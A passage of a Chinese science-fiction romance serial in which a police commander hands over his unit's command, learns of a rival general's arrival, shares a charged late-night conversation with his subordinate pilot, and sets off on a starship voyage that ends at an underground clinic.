闻铮双肘撑在桌子上，漆黑双眼一眨不眨地看着江悦：“你从贫民区里爬了出来，抓到了每一个能抓住的机会，让自己成为了7号星警部和军部系统里仅有的十个艾尼默人之一。” “你曾经感受过这个世界对你种族的歧视，也直面过对你个人的不公，你有足够的韧性支撑你忍了下来，并能打败这些苦难。” 江悦沉默。随后苦笑了一声：“我没有打败任何东西，是你帮了我。如果不是你把我转到了暗影组，我已经撑不下去要放弃了。” “在我出现之前，你已经坚持了三年了。”闻铮道，“在这三年里，你也并没有一味的隐忍，你想过各种办法去摆脱这种困境，只是少了一点运气。” “那一天我在追捕过程中你突然出现，我知道不是偶然。” 闻铮的这句话让江悦怔住，浑身汗毛直立，甚至有些不敢对上他的目光。 她从没想过，原来闻铮竟然全部都知道！ 她确实为了摆脱那时的处境想了很多办法，但无一例外都失败了，没有人会愿意为了艾尼默人得罪另一个高军衔的警督，而凭她自己的力量去和当时的上司起正面冲突，无异于以卵击石。 就在她已经想玉石俱焚的时候，她听说了一个消息——暗影组要来她负责的区域抓人。 她也曾经听说过一些有关于这个神秘新指挥官的传闻，说他年纪不算大，可行事作风又十分心狠手辣。但她一个曾经被卷入到暗影组案件的艾尼默朋友却偷偷跟她说过，那个指挥官，其实是一个很好的人。 江悦决定再赌一次，这次她赌对了。 一切都得来不易，她把自己的心机算计都藏了下去，在暗影组也不再事事都试图掐尖，锋芒太露的后果她已经尝过了。 但她怎么都没有想到，原来闻哥一直都知道，她曾经是有意来接近他，有意来……利用他。 江悦在这一刻根本不敢看闻铮的眼睛，而闻铮却说：“我欣赏你的野心和坚韧，所以我知道你能做到更多。” 闻铮抬起右手唤醒了悬浮屏，在他的办公桌上出现了7号星目前的人口种族结构三维图表：“艾尼默人是7号星的原住民，在被德瓦人殖民以后人口锐减。联邦收到7号星求助后将德瓦人驱逐出7号星，又迁移了部分人类来帮忙重建秩序，只是世易时移，不知怎么经过了这些年，反而艾尼默人成为了这里所谓的’二等公民’。” 他将悬浮屏推向江悦：“我猜测你想尽办法加入到军部和警部系统中来，是为了做出改变。而如果你想改变某些东西，就要抓住一切机会站得更高。” 江悦下意识地伸手握住悬浮屏，看向上面占据人口结构48%的艾尼默人，却只拥有这个星球上5.27%的财富。 她终于抬眼望向了对面的闻铮，看着这个人类Alpha的脸，轻声问：“为什么，为什么您会如此在意我们的生存和权利？” 您是人类，还是Alpha，您是在这个星球上享受着优势的群体，为什么还要做这些？ 闻铮先是默然，过了一会儿才道：“一是因为，这本来就不该属于人类。” 这种占据了本不该属于自己东西的行为，还有一个名字，叫作掠夺。 德瓦人侵略了7号星，将其沦为殖民地，并据此试图进一步的军事扩张。联邦收到了7号星的求助，以此为由进行军事应战与道德讨伐，这也是上一次联邦与德瓦帝国的战争序章。 当阶段性的战争胜利，联邦将德瓦人打出洛河星系，艾尼默人以为自己得到了救助。他们在加入了联邦之后，还没来得及高兴，却突然发现，怎么自己变成了二等公民。 德瓦人是侵略，难道联邦就没有在进行另一种掠夺吗？ 闻铮和联邦军部有很多意见相左的地方，而对待新文明和新星球的处理方式，正是他们最大的分歧所在。 “二是因为——”闻铮沉默了一下，没有说下去，只是又问了一遍江悦：“我现在把暗影组的临时指挥权交给你，你能做到吗？或者说，你想做到吗？” 沉默。 两分钟后，江悦抬起脸，那双澄澈的眼睛里似有燎燎火星：“……我想，闻哥，我想。” 闻铮笑了，他把胸前一直别着的暗影组银色徽章在桌子上滑给了江悦：“收好你的徽章，江指挥官。” 江悦低头看着那枚小小的银色徽章，将其紧紧握住，莹莹水光落在徽章表面，转瞬即逝。 …… 凯利斯之前在听到闻铮要把临时指挥权交给江悦而不是林瑜淞的时候，就觉得这事变得极度复杂了起来。 果不其然，在闻铮宣布了人员变动以后，先是江悦找他在指挥官办公室聊了二十分钟，她前脚刚眼睛红红地出来，后脚林瑜淞就起身又去敲开了指挥官办公室的门。 金发Alpha双手抱头。 这到底什么修罗场啊！ 他此刻也没有别人能吐槽，只能扒拉了一下裴简珩：“小裴啊，你觉不觉得现在组里的氛围有点窒息了？” 自从他和裴简珩登舰以后，两个人作为同在舰桥指挥室的工友，关系倒是自然而然地变得亲近了起来。 裴简珩对他这个新的“小裴”称呼也有点不知道从哪里槽起，想了想他又确实比自己大几岁，就选择性忽略了：“再忍忍，三天后就走了。” 凯利斯用手捂住嘴，跟裴简珩小声蛐蛐：“我可是看见瑜淞进去了，我都有点不敢看了。” 裴简珩立马肉眼可见地紧张起来：“他们不会打起来吧？” 凯利斯：“……” 凯利斯古怪地看着他：“你在说什么，闻哥可是我们中的战力天花板，在座的人也就戴维尔能和闻哥打上几个回合。就瑜淞那小身板，还不够闻哥踹几脚的。” 话音刚落，他上下扫视了两眼裴简珩，摸了摸下巴上不存在的胡子：“不过现在你来了，我感觉你和闻哥真说不定谁能打得过谁。” 一米九的身高，双开门的身材，还有恐怖的身体素质，这要是打起来还真不一定是闻哥赢。 他们这边话音刚落，就看见指挥官办公室里两个人简直是剑拔弩张，林瑜淞就差和闻铮拍桌子了，闻铮的表情也不好看，但由于隔音太好，外面的人什么也听不到。 没过几分钟，林瑜淞脸色阴沉地从指挥官办公室出来，门摔得震天响，把其他部门的目光都吸引过来了。 凯利斯倒吸一口冷气。 我靠我靠我靠我靠—— 裴简珩也是微微皱眉，但他的想法和凯利斯不太一样，他有点觉得好像不对…… 林瑜淞铁青着脸从暗影组的公区出去了，在出门的时候和利切尔副局长擦肩而过，差点撞到他的肩膀。 利切尔副局长下意识地躲了一下，林瑜淞硬邦邦地打了个招呼，直接拎包回家了。 利切尔副局长表情微妙地看过来，暗影组的其他人立刻看天看地看悬浮屏，就是不看回去—— 作者有话说：小剧场： 凯利斯：幸亏我马上就走了，老戴你修罗场加油[点赞] 戴维尔：？ —— 感谢珍白雪w的地雷！掉落7号星百科全书三维电子版x1！ 感谢34402499和杂食但间歇性养胃的营养液！掉落暗影组同款徽章x1！ 第49章 要不要进来坐一会儿 利切尔副局长两只脚还没踏进暗影组, 就差点被林瑜淞撞一个趔趄，甚至后者在撞到了自己的二级上司后，还只是扔下一句硬邦邦的道歉就走了。 利切尔副局长按了按自己的肩膀, 有些惊愕。 他直奔指挥官办公室, 因为外面的几个人根本不看他，看样子是不准备回答这个敏感的问题。结果他刚敲开办公室的门，就看见闻铮也神色愠怒地看过来, 更加惊讶：“你和你手底下的人吵架了？” 闻铮倒是没说什么，只是缓了缓神色：“没事，你怎么来了？” 利切尔副局长把自己手腕上的通讯悬浮屏拉了出来，当面和闻铮确认：“你不在的时候, 暗影组的临时指挥权交给了……这是谁……江悦？” 闻铮揉了揉眉心：“刚才瑜淞已经和我吵过了, 你不同意吗？” “……当然不。”利切尔副局长神色微妙, “暗影组是你的，你想让谁暂代我都不管，别把事情搞砸就行。” 他转身又看了看林瑜淞离开的方向, 若有所思。 闻铮奇怪地看他一眼：“你看什么呢？” “没，我还是很惊讶你手底下的人居然会违背你的意思, ”他摸了摸下巴上短短的胡子，“这个林瑜淞，我没记错的话，当初是你把他从瑞克斯监狱里捞出来的吧？” 闻铮嗯了一声：“他本来也是被抓去顶罪的牺牲品而已，我也没做什么。” 利切尔副局长摇头：“你倒是说得轻描淡写, 换了别人谁愿意花这么多功夫、担这么大风险从监狱里捞人出来。” 闻铮摆摆手，明显不想再谈这个话题：“你来就只是和我确认一下临时指挥官人选吗？” “不是。” 利切尔副局长在他对面坐下，双手交叉：“你知道我们这儿要来一个新的上将了吗？” 闻铮一怔：“……什么？” “欧赫当不了下一任的7号星星长了，原本已经没有即位可能的瑞安捡漏上台, 还没等他大展手脚，联邦就调了另一个军部上将过来。” “另外，上周三联邦下发了最新规定，凡是C级以下的星球，警部与军部择日起进行组织架构重组，由警部局长与军部上将联合管理，若现无警部局长或军部上将的星球，则由另一方进行统一管理。” 闻铮灵敏的政治嗅觉让他在利切尔副局长短短的几句话里就发现了不对劲的地方：“如果我没记错，现在的局长下个月就退休了，如无意外，你会是下一任警部局长。” 利切尔但笑不语。 闻铮眯起眼，缓缓道：“并且，7号星是E级星球，也就是说，马上你要和这个新任军部上将斗得你死我活了。” “所以我劝你能走赶紧走，事情安排好了的话，明天就走。”利切尔副局长压低声音，“新的军部上将据说是从首都星来的，叫段洄，除此以外我什么也没打听到。现在还不知道他什么时候到任，我怕夜长梦多，如果他人到了，我们这一出‘跨星系追缉’的戏就难演了。” 闻铮颔首，谢过他，把他一路送到了电梯口。 在等电梯的间隙，闻铮看着他耳鬓隐隐的白发，叹了口气：“差不多也得了，你都这么大岁数了，也别太往死里斗。” 利切尔副局长翻了他一个白眼：“现在人类平均寿命128岁，我这早得很，你少唱衰我。” 闻铮失笑，立马举手投降。 电梯门打开，利切尔迈进去，在门关上的前一刻，他也放柔了神情：“再者说，我也想在这个位置上看到你找出真相的那一刻，也看我还能再为你做点什么。” 闻铮眼睛微微睁大，电梯已经带着老头儿下去了，他站在原地，只觉得眼眶发酸。 利切尔总觉得他欠了闻铮很多，因为他当年无法及时从前线赶回来，才导致闻铮无路可走，只能抛弃一切去星际舰队摸爬滚打，吃了很多很多的苦。 但闻铮却知道，是他欠了老头儿很多，更多，多到他甚至不知道自己有生之年还能不能还清。 首都星，新任军部上将，段洄。 闻铮在嘴边嚼了嚼这个名字，心里却隐隐有种风雨欲来的危机感。 …… 天色微沉，闻铮在悬浮车里遥遥望着街边那栋别墅，他的手指下意识地在方向盘上有一搭没一搭地打着拍子，心里还有些犹豫。 在7号星，曾经在首都星待过的人只有三个，他、裴简珩和黎晓。 黎晓没有背景，没有军衔，大概率不会知道很多信息。 但裴简珩不一样。 他有军衔，有背景，有钱，还在星际舰队和联邦前锋突击卫里待过，很有可能自己不知道的事情，他都有可能知道。 只是闻铮还是有点犹豫，是否要和裴简珩走得太近。 他还没来得及去瑰云星系，后颈那处依然时不时会发热，尤其是和裴简珩单独相处的情况下，这可能会有点冒险。 他转而又想起了利切尔副局长，还是叹了口气，从车里翻出了一支特殊抑制剂，眼睛眨都不眨地注射进了自己手腕的静脉里。 腺体被挖出之后，他基本不会受到发|情|期的困扰了，也不怎么用得上抑制剂，但以防万一，他还是先给自己扎一针，毕竟最近他能明确感到激素的不稳定。 正当他等着抑制剂发挥效用的时候，车窗却被轻轻叩响了。 闻铮按下按键，车窗在瞬间消融，裴简珩那张年轻又英挺的面容出现在他面前，含着笑和他打招呼：“我看到您的车了，闻哥。” “要不要进来坐一会儿？” 闻铮望着他近在咫尺的脸，在一瞬间的沉默过后，颔首：“好。” 裴简珩的家很大，但买的一些东西甚至还没有拆开，看到闻铮的目光看过去，年轻的Alpha有些不好意思地挠挠头发：“这段时间有点忙，还没来得及搞。” 他的上司很显然就是他忙碌的始作俑者，闻铮在此刻有些心虚地移开了目光。 “喝点什么？”裴简珩眼睛亮亮地看着他，“有水、气泡水、列克奶。” 闻铮随口道：“咖啡就行。” “现在已经十一点了，闻哥。”裴简珩流露出不赞同的神色，“本来睡眠就不好，喝了咖啡更睡不着了。” 闻铮一怔：“你怎么知道？” 裴简珩没有把凯利斯供出来，只是说：“睡眠困扰是很难受的，还是少折磨您的皮质醇和神经系统吧。” “Σ，请准备一杯冰气泡水。” 闻铮也没有对裴简珩的自作主张有什么反感，毕竟也是在别人家里，主人给什么就喝什么算了。 裴简珩的家居人工智能Σ显然要比闻铮家里的γ聪明多了，应该是新升级版，要冰的就是冰的，绝不会冒热气。 裴简珩把气泡水递给闻铮：“虽然我很希望您是因为私事来找我的，但我知道您肯定是有什么事情想了解。我能帮上什么吗？” 闻铮喝了一口，强劲的气泡让他舒服地眯了眯眼睛，裴简珩看着他像小猫一样的表情，好像也有一只小猫在他心里挠来挠去，费了老大力气才让自己保持体面。 “确实是私事。”闻铮放下水杯，正色道，“你在首都星的时候，听说过一个叫段洄的上将吗？” 裴简珩一愣：“段洄？上将？” 闻铮有些疑惑，裴简珩的反应既有点迷惑又好像听说过，让他也有点拿捏不准：“你认识吗？” 裴简珩摸了摸鼻尖：“我倒是认识一个叫段洄的人，但我上次听到他消息的时候，他还只是一个少将，怎么升得这么快？” 闻铮精神一振：“所以他是什么来历？” “比我大五岁，32岁，S级Alpha。”裴简珩却先行反问：“您怎么突然问起他？” 闻铮斟酌了一下，这个消息肯定是瞒不住的，现在估计已经有不少人知道了，所以他也没理由再隐瞒，索性就将利切尔副局长和他说的信息也同步了裴简珩。 裴简珩听完以后先是哽了一会儿，随后才好似有些头痛地道：“原来如此，从首都星往外派遣倒确实是要加军衔的。” 这种升职更偏荣誉军衔，不是用战功垒上去的，会比较虚，一旦调回首都星会重新落回到少将的军衔，除非在外派期间有卓越贡献可以转正。 他这个语气，一听就是关系比较熟络，闻铮微微睁大眼睛，追问：“你们是朋友？” 如果是这样，可能还好弄一点…… 然而闻铮刚放下去一点的心，又立刻停跳一拍。 裴简珩没有正面回答闻铮的这个问题，只是说：“他是无利不起早的笑面虎，如果不是为了得到什么东西，他不会屈尊降贵从首都星来到这里的。” “但这里有什么呢……” 闻铮沉吟：“坦白说，这里的油水肯定没有首都星的好捞，晋升也没有在首都星快，他来这里到底图什么？” “那就不知道了，”裴简珩说，“但可以肯定的是，他来了以后，绝对会在这里搅弄风云。” 闻铮又开始隐隐头痛。 利切尔马上要升正局长，这对于闻铮和他要做的事情百利而无一害。但这个段洄在这个时间点过来，目前联邦的新政又是如此，警部和军部有的是没有硝烟的仗要打，肯定会对暗影组有影响。 虽然闻铮是可以将在外军令有所不受，但留在这里的人…… 看来江悦，只能被迫尽快成长起来了。 闻铮低头看了看时间，也站起身：“谢谢你，我就不打扰你了，先走了。” 再晚一点，抑制剂的效力就该减退了—— 作者有话说：小剧场： 小裴：要不要进来坐一会儿？我家的猫会翻后空翻哦 闻哥：…… ———— 感谢34402499、杂食但间歇性养胃、西江月的营养液！掉落冰气泡水x2！ 感谢珍白雪w的地雷！掉落咖啡x1！ 第50章 明天，便是新的征程 裴简珩连忙也站起来, 亦步亦趋地跟着他到了玄关，急急道：“还早，要不要留下吃饭？” 闻铮低头看了看通讯, 有些无言：“现在还有2分钟就到凌晨十二点了。” 到底早在哪里？ 现在吃的又是哪一顿？ 裴简珩踏前一步, 贪婪地微微低头看着闻铮那张漂亮冷冽的脸，很想让他在自己的空间里多一点、久一点、近一点。 他的大脑在这一刻想不出更好的借口，但他的信息素却哪怕在长效抑制剂的作用下, 也偷偷摸摸地渗出了一点，向这个主人心心念念的Omega漫过去。 闻铮在满室的沉默里突然嗅到了一丝檀木香气，他知道这是什么，在一年前那天晚上他被这个味道差点腌入味, 与此同时, 他的后颈又开始发热了起来。 不好、不好！ 闻铮立刻退后一步, 拉开和这个Alpha的距离：“饭就不吃了，我先走了。” 他刚打开门，裴简珩却伸手过来, 越过他的腰侧，在他后腰悬空的地方又把门按了回去。 闻铮只觉得汗毛直立, 立刻冷下脸来：“裴简珩，你——” 裴简珩离他很近，轻轻说：“有关于段洄，还有一件事。” 闻铮顿了一下。 “他是段家的人，那个段家。” 裴简珩说话间的热气打在闻铮的发侧, 让他有些痒痒地想躲避，而他后颈那一块，果不其然又开始发烫。 他的身体好像在此刻有了自己的意志，想要朝这个唯一在他身上留下过信息素印记的Alpha近一点, 再近一点。 闻铮闭了闭眼，伸手借着整理衣领的动作又狠狠地按上了后颈，巨大的痛苦铺天盖地地弥漫开来，让他在这有些旖旎暧昧的氛围中还能勉强思考。 闻铮咬着牙，一声不吭，咽下了浮到喉咙口的痛哼，艰难道：“……联邦主战派段和华上将所在的段家？” 闻铮倏地发白的脸色宛如一记重锤砸醒了裴简珩。 他退后两步，努力平复着自己有些激动的情绪，尽他所能地把所有逸散的信息素都收了回来。 他刚才在干什么？ 他明明知道闻铮身体上的痛苦，他怎么敢、怎么能再用自己的信息素去影响他？ 更何况“利刃计划”后，他的信息素浓度随着他的身体机能一同加强了四倍，这种程度的Alpha信息素甚至是常人都难以承受的！ 裴简珩站在离闻铮一米远的位置，努力平复着自己的信息素。 两个人都没有说话，直到几分钟后，裴简珩才低声说：“抱歉闻哥，长效抑制剂的效力快消散了，我的信息素浓度比较高，对于Alpha来说会比较容易引起烦躁和异样。” 闻铮看向他，一时之间不知道他是在陈述事实还是给了自己一个台阶下。 不然闻铮作为一个“Alpha”，真的会对另一个Alpha的信息素产生如此异样的反应么？ 裴简珩……他真的不知道一年前那个带着面具的Omega是谁么？ 闻铮攥紧了拳，紧到指甲边缘都狠狠地嵌进了掌心里。 裴简珩又说：“是的，段洄是段和华的次子，他和家里的关系不算特别好，段和华想让他走自己的军部之路，段洄却一门心思在从商，在联邦军部也是有一搭没一搭地混着，所以才会只是一个少将。” 闻铮被他这番话又把思绪拉回到了段洄身上：“他如果是混在里面的，那又何必费这么大劲来这里和警部斗？” 裴简珩显然也摸不准。 气氛又陷入了凝滞，闻铮看了一眼裴简珩，银发的年轻Alpha正站在和他的安全距离之外，现在的气氛甚至比刚才离得近的时候还要……尴尬。 “对了，以防万一，明天下午我们就出发，辛苦你要抓紧收拾一下了。” 还是闻铮先开口，他最后看了一眼裴简珩，踟躇了一瞬，还是说出口：“今天……还是多谢你。” 在他开门出去的前一瞬，裴简珩看了过来，用他那双蔚蓝如海的眼睛，温柔又缱绻地看着闻铮，轻轻道：“明天见，闻哥。” …… 闻铮回到了家里，仍然感觉心脏在胸腔里过于剧烈地跳动。 他猜测这是因为抑制剂对他这个特殊的身体产生的副作用，因此他也没有什么其他的办法，只能让γ准备一杯热水缓解一下。 裴简珩……果然是个大麻烦。 闻铮在浴室里冲了个澡放松一下，不期然又想到了方才那双蓝汪汪的眼睛，有些头痛地揉了揉眉心。 直到现在他都很难判断裴简珩到底有没有认出来自己，这个Alpha一直表示的似是而非，让他很难准确地得出是或否的结论。 虽然到了这一步，他也没有什么别的选择。 哪怕裴简珩真的认出他来了，只要他不主动挑破，为了破晓号能起飞，能去顺着线索追击德瓦人，能让闻铮完成他要完成之事，他甚至愿意假装不知道。 他唯一能确定的是，无论裴简珩是因为什么来到这里的，都绝对不会是为了自己Omega的身份而来的。 他知道自己身上的优劣势，也清楚自己的魅力点在哪里。有可能在杀伐果断的手腕，也可能在锐意帷幄的领袖力，亦或是不计后果的狠绝，但不会是作为一个Omega的性吸引力。 闻铮穿着浴袍，注视着镜子里的人。 多么瘦削又刻薄的一张脸，在紧紧贴合着骨骼的皮囊之下，透露出淡淡的灰白死意，只靠那一双漆黑眼底的莹莹火光撑着。 人都已经不过是一具行尸走肉，又何来什么吸引力一说。 假设裴简珩真的认出来了，并在未来的某一天在他面前挑破真相试图用以威胁，那只能说明他够蠢。 对于闻铮而言，为了得到最终的真相，他什么都豁的出去，而最狠得下心的对象，就是他自己。 而如果裴简珩能一直保持现在的距离和分寸……他可以，闻铮当然也可以。 他刚走进卧室躺在床上，γ立刻将他洗澡期间收到的讯息进行汇报：“您收到了一条讯息，来自裴简珩。” 闻铮一顿：“讯息内容？” γ把悬浮屏在他面前调出来，的确是裴简珩发来的一条信息，问他是否到家。 闻铮简短地回复了一个“嗯”。 只是他没想到，消息刚发出去没几分钟，裴简珩就直接打了一个语音通讯过来。 闻铮犹豫了一下，他的手指在悬浮屏上的接听和拒绝上来回漂浮，也不知道是不是哪一次的指腹距离屏幕的距离更近了那么几毫米，就触发了接听。 而几秒后，裴简珩的声音就从另一边传来。 闻铮怔了怔，他也不清楚为什么会在这个深夜接通了下属的通讯，上一次这个场景是因为公事，这一次呢？ “闻哥，我刚才突然想到了一个被忽略的细节。” 裴简珩在那头说：“上次我们跟着那个回收蓟梨草的人一路跟到了航空港，发现了是德瓦人在收蓟梨草，但那个人很明显不是德瓦人。” 依然是公事，这种开场让闻铮放松下来，晚上讨论工作固然有些奇怪，但讨论私事就会怪上加怪，毕竟这是两个睡过一次的人。 “嗯，这个问题我之前也考虑过。”闻铮微阖双眼，“那天晚上没有看清他是人类还是艾尼默人，但无论如何，都能证明德瓦人已经渗透进了其他两个族群中，不是什么好现象。” “这让我想到了一个人。” “谁？” “但丁。” 闻铮倏地睁开双眼。 没错，但丁！ 他的生物信息显示他是但丁，但他又没有在瑞克斯监狱服刑的刺青印记； 他是艾尼默蛇属人，但他又在替德瓦人收集蓟梨草、融合B-356物质制作非法致幻剂、进而用7号星上的人类进行实验； 他被抓以后请了天价律师，证明他并不想伏罪认诛，但他又转而自杀在了审讯室里； ……为什么？ 他到底是谁？这一通的目的又是什么？ 闻铮认可裴简珩的想法，这也为他打开了新的方向，他道：“我会让江悦他们顺着这条线再查查。” 这个话题结束，那头裴简珩笑了一下，通过目前的科技水平，他的笑声没有被压缩，就好像他正在闻铮身边笑一样：“闻哥，明天我们就要出发了，您紧张么？” 闻铮又合上了眼皮：“我紧张什么？” “我可是只实际掌舵21个小时啊，”裴简珩说，“您就这么放心我吗？” 闻铮道：“用人不疑，我既然请你来掌舵，我就相信你的能力。”顿了下，他还是恶趣味地补了一句，“大不了大家一起死。” 裴简珩：“……” 裴简珩无奈：“闻哥，您可真是……” 没少给我压力啊…… 说来也奇怪，平时闻铮在床上翻来覆去怎么也睡不着，入睡困难每晚都折磨着他。但现在，就这么听着裴简珩的声音，闻铮居然感受到困意正摧枯拉朽般的袭来。 他都快听不清裴简珩在说什么了，似乎有人在把他拽入深沉的黑暗中，但不知为何，他突然有种预感，在这次黑暗的尽头，也许不再是那个周而复始的噩梦了。 “……明天我们几点集合？” “……是否需要我再去查一下他们的商舰明天几点出发？我们是跟着他们还是先行一步……？” “闻哥……？” 裴简珩安静地听着另一边闻铮均匀的呼吸声，他的心也渐渐平静，随着闻铮规律的呼吸而上下起伏。 他把手腕上的通讯放到唇边，轻轻地吻了吻麦克风的位置，低声道：“晚安。” 明天，便是新的征程。 而这次，无论如何，我都会一直在您身边。 ——卷一.重逢之时完———— 作者有话说：第一个地图结束啦！ 各位乘客请坐好，我们带着未完的伏笔和线索，跟着闻哥和小裴一起进入新地图冒险！ 请注意舰上秩序，请大家拿好破晓号的船票，营养液和评论可能会获得随机掉落的小惊喜喔[竖耳兔头]《 》 50-60 第51章 你再过俩月就要死了 次日上午, 7号星太空港 “舰长抵达舰桥。” 无机质的声音响起，凯利斯转头看向舰桥控制室的入口，看见黑发青年正从那边走进来, 他和自己的上司兼老友打了个招呼：“闻哥——咦, 你今天的状态很好啊，昨天应该睡得不错？” 确实，闻铮实打实地睡了九个小时, 他已经不记得自己上一次有过这样的睡眠是什么时候了，以至于早上起来他照镜子的时候自己都吓一跳，整个人简直称得上是回光返照。 他的视线瞥向正在位置上操作驾驶面板的银发Alpha，他倒是真没想到, 这个人的声音怎么还有催眠作用…… 裴简珩似乎感受到他的目光, 也转了过来对他笑：“闻哥。” 闻铮对他点了点头, 他看向立于舰桥指挥室中心的舰长指挥椅，神色复杂地看了半分钟，终于迈开腿走过去坐到了那张椅子上。 他遥望着前方玻璃外的航空港景象, 眼前似乎又浮现了曾经在宇宙繁星之中的一幕幕。 闭眼又睁开，闻铮的神色变得冷肃起来, 他按下舰长指挥椅旁的通讯：“准备起飞，轮机室报告状态。” 舰桥里响起黎晓轻快的声音：“空间迁跃核心稳定，能源分配状态已完成，随时准备起飞。” 凯利斯在屏幕上操作完成：“防御系统已完成，防护罩、鱼雷等系统均已就绪。” 只实际掌舵过21个小时的裴简珩却以一种极不符合工龄的娴熟技艺操作仪表盘：“轮舵、推进器均已收回, 港口控制室报告通过，航线锁定，随时可启航。” “解除所有锚定。”闻铮握紧了扶手，最后望了一眼7号星航空港。 “起飞。” 随着闻铮一声令下, 破晓号腾空而起，在15秒内驶离太空港，30秒内脱离了7号星的大气牵引，驶向了一望无垠的宇宙。 “距离到达特安斯特-B要多久？” 裴简珩看了一眼仪表盘：“理论上还需要4天13个小时，但实际时间会更长一些。” 闻铮微微挑眉。 裴简珩把转椅转了过来面对闻铮：“理论模式是指全程进入空间迁跃模式飞行，但我在输入航线设置方案的时候显示被轮机室拒绝。” 闻铮按响通讯：“舰桥呼叫轮机室——黎晓，你拒绝了裴简珩的航线设定？” 黎晓正双腿搭在轮机室的椅子上晃悠，坐没坐相的他也不管，反正这里就他一个人。接到通讯的时候他嘴里还嚼着口香糖：“闻哥，破晓号配备的空间迁跃核心反应堆不足以支撑这种强度，如果硬要这个方案飞的话，我们会在第3天6个小时24分钟的时候被强行弹出。耽误的时间反而会更长。” 闻铮垂眼思索了一番，又问：“如果先以70%的能源航行，中途在其他星球注入等离子体是否可行？” 黎晓吹灭一个口香糖泡泡：“可以呀，这是最优解了，就看附近哪里比较合适进行补给了。” 闻铮若有所思，断开和轮机室的联系，转而问裴简珩：“麻烦将瑰云星系2号星设置为补给途经点，计算这种方案下的航行时间。” 裴简珩照做，按照程序给到的计算结果汇报：“2天17个小时后到达瑰云星系2号星，补给后预计用时2天20个小时到达特安斯特-B中转星。” “按照本次方案执行。”闻铮立刻做出决断，“我们在瑰云星系2号星短暂停留一天修整，我来联系当地的星舰调度。” 裴简珩应声，重新设置航线方案。闻铮来到通讯机位上设置和瑰云星系2号星的通讯，现在星舰上没有通讯官，一般情况下是凯利斯暂代，在凯利斯忙不过来的时候，闻铮也会代为操作。 他一边通过联邦星舰专属频道向瑰云星系发出通讯请求，另一手下意识地摸上了后颈。 正好顺路的话…… 和瑰云星系2号星的太空港控制塔的通讯已经接通，闻铮把通讯接到了大屏幕上，对方的调度是艾尔文人，瑰云星系2号星的原住民，类人种族，长相精致到雌雄莫辨，紫眸澄澈如有色宝石，浑身雪白，睫毛、眉毛都是白色，看上去像冰雕活了一样。 星舰自带的联邦翻译器可以让各个物种之间毫无任何语言障碍的沟通，艾尔文人调度微笑道：“联邦破晓号，我方已收到你方的中转补给需求，请简述你方具体身份及航程目的。” 闻铮对他点头示意：“洛河星系7号星暗影组，前往特安斯特-B中转星追踪联邦逃犯程迹，联邦ID号31056152138，罪名为’反联邦人道主义武器研究’与’反联邦人道主义基因工程研究’。因动力不足以支撑直达，特此希望在贵星联邦补给站中转。” 裴简珩在仪表屏上操作了几下，和对方交换了安全协议和身份验证码。 “收到。”艾尔文人说起话来像吟唱一般空灵，“系统已检测到暗影组的联网空间报备纪录，特此准入，请于落地三天内完成补给驶离，如需延时请提前告知。祝您及您的船员在瑰云星系2号星球玩得开心。” “多谢。”闻铮对他也笑了一下，艾尔文调度的身影便从大屏幕上消失了。 凯利斯摸了摸下巴：“这是艾尔文人吧？假笑种族，我记得之前有在星舰学院见到过，在医疗学院比较多。” “因为他们的身体素质更适合从事医学，所以联邦星舰军校的医疗学院对他们的录取标准比较低，我之前认识一个艾尔文人朋友，听他说的。”裴简珩给他解释，“假笑种族……你说话倒是挺不好听。” 凯利斯大笑：“我也就只敢在背后说说，但你不觉得很贴切吗？艾尔文人总是脸上挂着毫无温度的笑容，生气的时候都是这样。” “……他们只是在表示友好，”闻铮在旁边有点无语，“你就是说话难听。” 凯利斯把嘴上虚拟的拉链拉上。 …… 2天17个小时之后，破晓号降落至这个粉色梦幻星球的空间站。 停稳之后，他们纷纷拿好东西离舰，黎晓也溜溜达达地从轮机舱过来，凯利斯探头问他：“轮机长，我们动力补给要多久？” 黎晓对他翻了个大大的白眼，这两天的时间里他发现凯利斯的嘴真得很欠，这艘星舰上一共就他一个轮机室的，还什么轮机长不长的，凯利斯没事就来招他两句。 “4个小时最多了，”黎晓打了个哈欠，“你们去吃个饭就差不多了。” 闻铮却突然出声：“不急。” 三人都是一愣。 闻铮从自己的通讯里发给了他们三个每人一个酒店房间信息：“不差这一天，你们先在这里休息一晚上，去玩也可以，明天下午我们再出发。” 三个人看着自己手腕通讯上的酒店房间信息发愣，这个时候闻铮已经先行离舰了。 黎晓低头看了看酒店地址，哇了一声：“星级酒店诶，你们待遇这么好的吗？” 凯利斯挠头：“没这么多经费吧，应该是闻哥自掏腰包。” 黎晓更震惊了：“倒贴上班啊？！” 他在加入之前确实没想到还有这么好的待遇，以及这么……殚精竭虑的上司。 裴简珩看着闻铮已经远去的背影，若有所思。 …… 瑰云星系，顾名思义，这个星系的每个星球都是粉紫色系的，确实浪漫又瑰丽。 也难怪这里的原住民艾尔文人，都长得个顶个的好样貌，看来风水确实是养人。 而当夜幕降临的时候，粉紫色的星球又被叠了一层灯红酒绿的繁华色，看上去倒确实有几分纸醉金迷。 在市中心的一条巷子里，一个戴着黑色兜帽的瘦削人影在暗巷里数次穿梭，最终推开了一扇隐匿在墙上的门，隐入其中。 门后是昏暗狭小的通道，通道尽头是另一扇铁门，来人推开了那扇铁门，在铁门背后是亮堂堂的一间……地下诊所。 房间里有三四个穿着医疗服的艾尔文的医生或护士，正在治疗着各自的患者，见到这个捂得严严实实好像见不得光的人进来也没有任何的惊讶，毕竟能来到这里寻求帮助的人，要么是没钱，要么是不想透露身份，他们早就习惯了。 那人声音有些沙哑，随机问了其中一个护士：“劳烦，请问赫尔医生在哪里？” 护士指了指尽头的一个独立房间，微笑道：“赫尔医生在他的医疗室，现在正好有空。” 来人谢过她，径直朝尽头的房间走去。 推开门，正坐在办公桌后面的一个艾尔文人闻声看来，来人将自己的兜帽缓缓摘下，和这位赫尔医生两相对视。 赫尔医生看到他的第一眼就痛苦地闭上了眼睛：“怎么又是你！” 兜帽之下，是一张骨相分明的漂亮面孔。 闻铮歪头看他：“好久没见了，怎么这个反应？” 赫尔怒气冲冲地从办公桌后面站了起来，抄起桌子上的扫描仪朝闻铮走了过去，一把把他按在了椅子上，开始扫描他身上的生物体征：“你还指望我有什么反应？我一共就见过你三次，第一次你因为外伤差点死了，第二次你因为信息素和激素暴动又差点死了，这是第三次——” 他低头看了一眼扫描仪呈现的病理数据投影，暴躁地叉腰狂怒：“——就你这个激素水平，再不来找我，我看你再过俩月也要死了！！！” 面对医生的狂怒，闻铮却忍不住笑了一下：“你的社交微笑礼仪呢，艾尔文人？” 